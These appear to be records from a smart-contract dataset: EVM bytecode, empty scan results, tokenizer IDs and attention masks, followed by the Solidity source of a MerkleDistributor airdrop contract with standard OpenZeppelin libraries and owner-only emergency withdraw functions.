6565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164482600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5e90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561173357600080fd5b6117c282600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5e90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a4b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081830290506000831480611b295750818382811515611b2657fe5b04145b1515611b3457600080fd5b92915050565b60008082111515611b4a57600080fd5b8183811515611b5557fe5b04905092915050565b60008183019050828110151515611b7457600080fd5b92915050565b6000828211151515611b8b57600080fd5b8183039050929150505600a165627a7a723058203ccc645cdcd7b8743ff636299d9785df78c13054864f4c23c69db0e80d1bb4960029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 21486, 2050, 2581, 2546, 2581, 2581, 16703, 2581, 2063, 2575, 22394, 2620, 2278, 2549, 9818, 24594, 2620, 2509, 2497, 2549, 29292, 2546, 2575, 2497, 2629, 2850, 2620, 2487, 2050, 23632, 1013, 1008, 1008, 1008, 8840, 6894, 16340, 5446, 19204, 9413, 2278, 1011, 2322, 3206, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,087
0x963280ed3624da9565582e419f527fcd5e7d5a62
// SPDX-License-Identifier: NONE pragma solidity 0.6.11; // Part: IMerkleDistributor interface IMerkleDistributor { // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external; // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, address account, uint256 amount); } // Part: OpenZeppelin/openzeppelin-contracts@3.2.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@3.2.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/openzeppelin-contracts@3.2.0/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/openzeppelin-contracts@3.2.0/MerkleProof /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // Part: OpenZeppelin/openzeppelin-contracts@3.2.0/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: OpenZeppelin/openzeppelin-contracts@3.2.0/Ownable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Part: OpenZeppelin/openzeppelin-contracts@3.2.0/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: MerkleDistributor.sol contract MerkleDistributor is IMerkleDistributor, Ownable { using SafeERC20 for IERC20; address public immutable override token; bytes32 public immutable override merkleRoot; // This is a packed array of booleans. mapping(uint => uint) private claimedBitMap; event WithdrawTokens(address indexed withdrawer, address token, uint amount); event WithdrawRewardTokens(address indexed withdrawer, uint amount); event WithdrawAllRewardTokens(address indexed withdrawer, uint amount); event Deposit(address indexed depositor, uint amount); constructor(address token_, bytes32 merkleRoot_) public { token = token_; merkleRoot = merkleRoot_; } function isClaimed(uint index) public view override returns (bool) { uint claimedWordIndex = index / 256; uint claimedBitIndex = index % 256; uint claimedWord = claimedBitMap[claimedWordIndex]; uint mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint index) private { uint claimedWordIndex = index / 256; uint claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim( uint index, address account, uint amount, bytes32[] calldata merkleProof ) external override { require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.'); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.'); // Mark it claimed and send the token. _setClaimed(index); require(IERC20(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.'); emit Claimed(index, account, amount); } // Deposit token for merkle distribution function deposit(uint _amount) external onlyOwner { IERC20(token).safeTransferFrom(msg.sender, address(this), _amount); emit Deposit(msg.sender, _amount); } // Emergency withdraw tokens for admin function withdrawTokens(address _token, uint _amount) external onlyOwner { IERC20(_token).safeTransfer(msg.sender, _amount); emit WithdrawTokens(msg.sender, _token, _amount); } // Emergency withdraw reward tokens for admin function withdrawRewardTokens(uint _amount) external onlyOwner { IERC20(token).safeTransfer(msg.sender, _amount); emit WithdrawRewardTokens(msg.sender, _amount); } // Emergency withdraw ALL reward tokens for admin function withdrawAllRewardTokens() external onlyOwner { uint amount = IERC20(token).balanceOf(address(this)); IERC20(token).safeTransfer(msg.sender, amount); emit WithdrawAllRewardTokens(msg.sender, amount); } function renounceOwnership() public override onlyOwner { revert(''); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b146101925780639e34070f146101b6578063b6b55f25146101e7578063cb43b2dd14610204578063f2fde38b14610221578063fc0c546a14610247576100a9565b806306b091f9146100ae5780632e7ba6ef146100dc5780632eb4a7ab146101685780634f8e3ca814610182578063715018a61461018a575b600080fd5b6100da600480360360408110156100c457600080fd5b506001600160a01b03813516906020013561024f565b005b6100da600480360360808110156100f257600080fd5b8135916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561012957600080fd5b82018360208201111561013b57600080fd5b8035906020019184602083028401116401000000008311171561015d57600080fd5b509092509050610308565b61017061056b565b60408051918252519081900360200190f35b6100da61058f565b6100da6106f2565b61019a610771565b604080516001600160a01b039092168252519081900360200190f35b6101d3600480360360208110156101cc57600080fd5b5035610780565b604080519115158252519081900360200190f35b6100da600480360360208110156101fd57600080fd5b50356107a4565b6100da6004803603602081101561021a57600080fd5b5035610870565b6100da6004803603602081101561023757600080fd5b50356001600160a01b031661093b565b61019a610a33565b610257610a57565b6000546001600160a01b039081169116146102a7576040805162461bcd60e51b81526020600482018190526024820152600080516020610eef833981519152604482015290519081900360640190fd5b6102c16001600160a01b038316338363ffffffff610a5b16565b604080516001600160a01b038416815260208101839052815133927f70082d08c003c5341f2401bec1c2ae1dbcdc29ae17e9cc5633fa617caa8acd4c928290030190a25050565b61031185610780565b1561034d5760405162461bcd60e51b8152600401808060200182810382526028815260200180610e836028913960400191505060405180910390fd5b6040805160208082018890526bffffffffffffffffffffffff19606088901b16828401526054808301879052835180840390910181526074830180855281519183019190912060949286028085018401909552858252936103f0939192879287928392909101908490808284376000920191909152507fa402ae6bd543fc234ca205c64196a9883c23a3f3b5c9acaed4773756c95c97f79250859150610ab29050565b61042b5760405162461bcd60e51b8152600401808060200182810382526021815260200180610eab6021913960400191505060405180910390fd5b61043486610b5b565b7f000000000000000000000000a1faa113cbe53436df28ff0aee54275c13b409756001600160a01b031663a9059cbb86866040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156104b457600080fd5b505af11580156104c8573d6000803e3d6000fd5b505050506040513d60208110156104de57600080fd5b505161051b5760405162461bcd60e51b8152600401808060200182810382526023815260200180610ecc6023913960400191505060405180910390fd5b604080518781526001600160a01b038716602082015280820186905290517f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0269181900360600190a1505050505050565b7fa402ae6bd543fc234ca205c64196a9883c23a3f3b5c9acaed4773756c95c97f781565b610597610a57565b6000546001600160a01b039081169116146105e7576040805162461bcd60e51b81526020600482018190526024820152600080516020610eef833981519152604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b037f000000000000000000000000a1faa113cbe53436df28ff0aee54275c13b4097516916370a0823191602480820192602092909190829003018186803b15801561065157600080fd5b505afa158015610665573d6000803e3d6000fd5b505050506040513d602081101561067b57600080fd5b505190506106b96001600160a01b037f000000000000000000000000a1faa113cbe53436df28ff0aee54275c13b4097516338363ffffffff610a5b16565b60408051828152905133917ff45178b726e3a80ecaf42526929019a54e55cb2e8405794fd6ac4464964791df919081900360200190a250565b6106fa610a57565b6000546001600160a01b0390811691161461074a576040805162461bcd60e51b81526020600482018190526024820152600080516020610eef833981519152604482015290519081900360640190fd5b6040805162461bcd60e51b8152602060048201526000602482015290519081900360640190fd5b6000546001600160a01b031690565b610100810460009081526001602081905260409091205460ff9092161b9081161490565b6107ac610a57565b6000546001600160a01b039081169116146107fc576040805162461bcd60e51b81526020600482018190526024820152600080516020610eef833981519152604482015290519081900360640190fd5b6108376001600160a01b037f000000000000000000000000a1faa113cbe53436df28ff0aee54275c13b409751633308463ffffffff610b8316565b60408051828152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a250565b610878610a57565b6000546001600160a01b039081169116146108c8576040805162461bcd60e51b81526020600482018190526024820152600080516020610eef833981519152604482015290519081900360640190fd5b6109026001600160a01b037f000000000000000000000000a1faa113cbe53436df28ff0aee54275c13b4097516338363ffffffff610a5b16565b60408051828152905133917f0839b8f4eab92bd29cd2593d9c951392f9a4a749a8443860510983cf3968845f919081900360200190a250565b610943610a57565b6000546001600160a01b03908116911614610993576040805162461bcd60e51b81526020600482018190526024820152600080516020610eef833981519152604482015290519081900360640190fd5b6001600160a01b0381166109d85760405162461bcd60e51b8152600401808060200182810382526026815260200180610e5d6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b7f000000000000000000000000a1faa113cbe53436df28ff0aee54275c13b4097581565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610aad908490610be3565b505050565b600081815b8551811015610b50576000868281518110610ace57fe5b60200260200101519050808311610b155782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250610b47565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101610ab7565b509092149392505050565b61010081046000908152600160208190526040909120805460ff9093169190911b9091179055565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bdd908590610be3565b50505050565b6060610c38826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610c949092919063ffffffff16565b805190915015610aad57808060200190516020811015610c5757600080fd5b5051610aad5760405162461bcd60e51b815260040180806020018281038252602a815260200180610f0f602a913960400191505060405180910390fd5b6060610ca38484600085610cab565b949350505050565b6060610cb685610e56565b610d07576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310610d465780518252601f199092019160209182019101610d27565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610da8576040519150601f19603f3d011682016040523d82523d6000602084013e610dad565b606091505b50915091508115610dc1579150610ca39050565b805115610dd15780518082602001fd5b8360405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e1b578181015183820152602001610e03565b50505050905090810190601f168015610e485780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b3b15159056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d65726b6c654469737472696275746f723a2044726f7020616c726561647920636c61696d65642e4d65726b6c654469737472696275746f723a20496e76616c69642070726f6f662e4d65726b6c654469737472696275746f723a205472616e73666572206661696c65642e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122047bbec98cb70a8a84e2d8905843319e63a2c9496727d14d31b018380bdbdbed264736f6c634300060b0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 16703, 17914, 2098, 21619, 18827, 2850, 2683, 26976, 24087, 2620, 2475, 2063, 23632, 2683, 2546, 25746, 2581, 11329, 2094, 2629, 2063, 2581, 2094, 2629, 2050, 2575, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3904, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2340, 1025, 1013, 1013, 2112, 1024, 10047, 2121, 19859, 2923, 3089, 8569, 4263, 8278, 10047, 2121, 19859, 2923, 3089, 8569, 4263, 1063, 1013, 1013, 5651, 1996, 4769, 1997, 1996, 19204, 5500, 2011, 2023, 3206, 1012, 3853, 19204, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 1013, 1013, 5651, 1996, 21442, 19099, 7117, 1997, 1996, 21442, 19099, 3392, 4820, 4070, 5703, 2015, 2800, 2000, 4366, 1012, 3853, 21442, 19099, 3217, 4140, 1006, 1007, 6327, 102 ]
